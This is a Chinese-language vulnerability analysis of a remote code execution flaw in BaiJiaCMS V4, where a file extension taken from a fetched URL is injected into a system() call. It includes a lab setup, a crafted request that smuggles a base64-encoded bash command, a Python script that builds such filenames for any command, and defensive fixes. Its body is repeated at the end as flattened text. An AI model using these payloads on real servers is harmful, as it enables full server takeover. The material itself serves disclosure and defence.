baijiacms漏洞分析
字数 942 2025-08-24 20:49:22

BaiJiaCMS 远程代码执行漏洞分析与利用

漏洞概述

BaiJiaCMS V4 版本存在一个高危远程代码执行(RCE)漏洞,该漏洞源于 includes/baijiacms/common.inc.php 文件中的 file_save() 函数存在命令注入问题。攻击者可以通过构造特殊的URL请求,在服务器上执行任意系统命令。

环境搭建

  1. 下载源码:

    https://github.com/baijiacms/baijiacmsV4
    
  2. 安装环境要求:

    • PHP 5.6.40
    • 访问安装页面:http://localhost:8888/baijiacms/install.php
  3. 安装完成后默认访问:

    http://localhost:8888/baijiacms/index.php?mod=mobile&name=public&act=public&do=index
    

漏洞分析

路由分析

系统入口文件 index.php 处理请求参数并包含核心文件:

$mod = empty($_REQUEST['mod']) ? 'mobile' : $_REQUEST['mod'];
if ($mod == 'mobile') {
    defined('SYSTEM_ACT') or define('SYSTEM_ACT', 'mobile');
} else {
    defined('SYSTEM_ACT') or define('SYSTEM_ACT', 'index');
}
require 'includes/baijiacms.php';

核心文件处理

baijiacms.php 对输入参数进行预处理:

if(MAGIC_QUOTES_GPC) {
    function stripslashes_deep($value){
        $value=is_array($value)? array_map('stripslashes_deep',$value):stripslashes($value);
        return $value;
    }
    $_POST=array_map('stripslashes_deep',$_POST);
    $_GET=array_map('stripslashes_deep',$_GET);
    $_COOKIE=array_map('stripslashes_deep',$_COOKIE);
    $_REQUEST=array_map('stripslashes_deep',$_REQUEST);
}

漏洞关键点

漏洞位于 includes/baijiacms/common.inc.php 文件的 file_save() 函数:

function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path,$allownet=true) {
    $settings=globaSystemSetting();
    if(!file_move($file_tmp_name, $file_full_path)) {
        return error(-1, '保存上传文件失败');
    }
    if(!empty($settings['image_compress_openscale'])) {
        $scal=$settings['image_compress_scale'];
        $quality_command='';
        if(intval($scal)>0) {
            $quality_command=' -quality '.intval($scal);
        }
        system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path);
    }
    //...
}

漏洞触发路径

  1. system/public/class/web/file.php 中的 fetch_net_file_upload() 方法会调用 file_save()
  2. 访问路径:
    http://127.0.0.1:8888/baijiacms/index.php?mod=site&act=public&do=file&op=fetch&url=http://xxx
    

漏洞利用原理

  1. fetch_net_file_upload() 方法从URL获取文件扩展名:

    $extention = pathinfo($url,PATHINFO_EXTENSION);
    
  2. 构造恶意URL时,扩展名部分可以包含命令注入payload:

    http://127.0.0.1:9999/whoami.;echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash;
    
  3. 最终执行的命令:

    convert -quality 100 /path/to/file;payload; /path/to/file;payload;
    

漏洞利用

利用步骤

  1. 准备一个包含payload的文件:

    whoami.;echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash;
    
  2. 启动本地HTTP服务提供该文件

  3. 发送恶意请求:

    GET /baijiacms/index.php?mod=site&act=public&do=file&op=fetch&url=http://127.0.0.1:9999/whoami.;echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash;&status=1&beid=1 HTTP/1.1
    

自动化利用脚本

import base64

webpath = "/yourPath"
cmd = input("cmd>>> ")
b64cmd = base64.b64encode(cmd.encode()).decode()
payload = f"echo {b64cmd}|base64 -d|bash"
print(payload)
payload = payload.replace(' ','${IFS}')
print(payload)
name = input("name>>>")
payload = f"{name}.;{payload};"
print(payload)

with open(file=webpath+payload,mode='w')as f:
    f.write('1')

防御措施

  1. 对用户输入进行严格过滤,特别是文件扩展名部分
  2. 避免直接使用用户输入拼接系统命令
  3. 使用escapeshellarg()等函数对命令参数进行转义
  4. 限制文件上传的扩展名类型
  5. 更新到最新版本或应用官方补丁

总结

该漏洞利用链如下:

  1. 通过 index.php 路由到 system/public/class/web/file.php
  2. 调用 fetch_net_file_upload() 方法
  3. 构造恶意URL控制文件扩展名
  4. 最终在 file_save() 中通过 system() 执行任意命令

漏洞危害性高,攻击者可以完全控制服务器,建议用户立即采取防护措施。

BaiJiaCMS 远程代码执行漏洞分析与利用 漏洞概述 BaiJiaCMS V4 版本存在一个高危远程代码执行(RCE)漏洞,该漏洞源于 includes/baijiacms/common.inc.php 文件中的 file_save() 函数存在命令注入问题。攻击者可以通过构造特殊的URL请求,在服务器上执行任意系统命令。 环境搭建 下载源码: 安装环境要求: PHP 5.6.40 访问安装页面: http://localhost:8888/baijiacms/install.php 安装完成后默认访问: 漏洞分析 路由分析 系统入口文件 index.php 处理请求参数并包含核心文件: 核心文件处理 baijiacms.php 对输入参数进行预处理: 漏洞关键点 漏洞位于 includes/baijiacms/common.inc.php 文件的 file_save() 函数: 漏洞触发路径 system/public/class/web/file.php 中的 fetch_net_file_upload() 方法会调用 file_save() 访问路径: 漏洞利用原理 fetch_net_file_upload() 方法从URL获取文件扩展名: 构造恶意URL时,扩展名部分可以包含命令注入payload: 最终执行的命令: 漏洞利用 利用步骤 准备一个包含payload的文件: 启动本地HTTP服务提供该文件 发送恶意请求: 自动化利用脚本 防御措施 对用户输入进行严格过滤,特别是文件扩展名部分 避免直接使用用户输入拼接系统命令 使用escapeshellarg()等函数对命令参数进行转义 限制文件上传的扩展名类型 更新到最新版本或应用官方补丁 总结 该漏洞利用链如下: 通过 index.php 路由到 system/public/class/web/file.php 调用 fetch_net_file_upload() 方法 构造恶意URL控制文件扩展名 最终在 file_save() 中通过 system() 执行任意命令 漏洞危害性高,攻击者可以完全控制服务器,建议用户立即采取防护措施。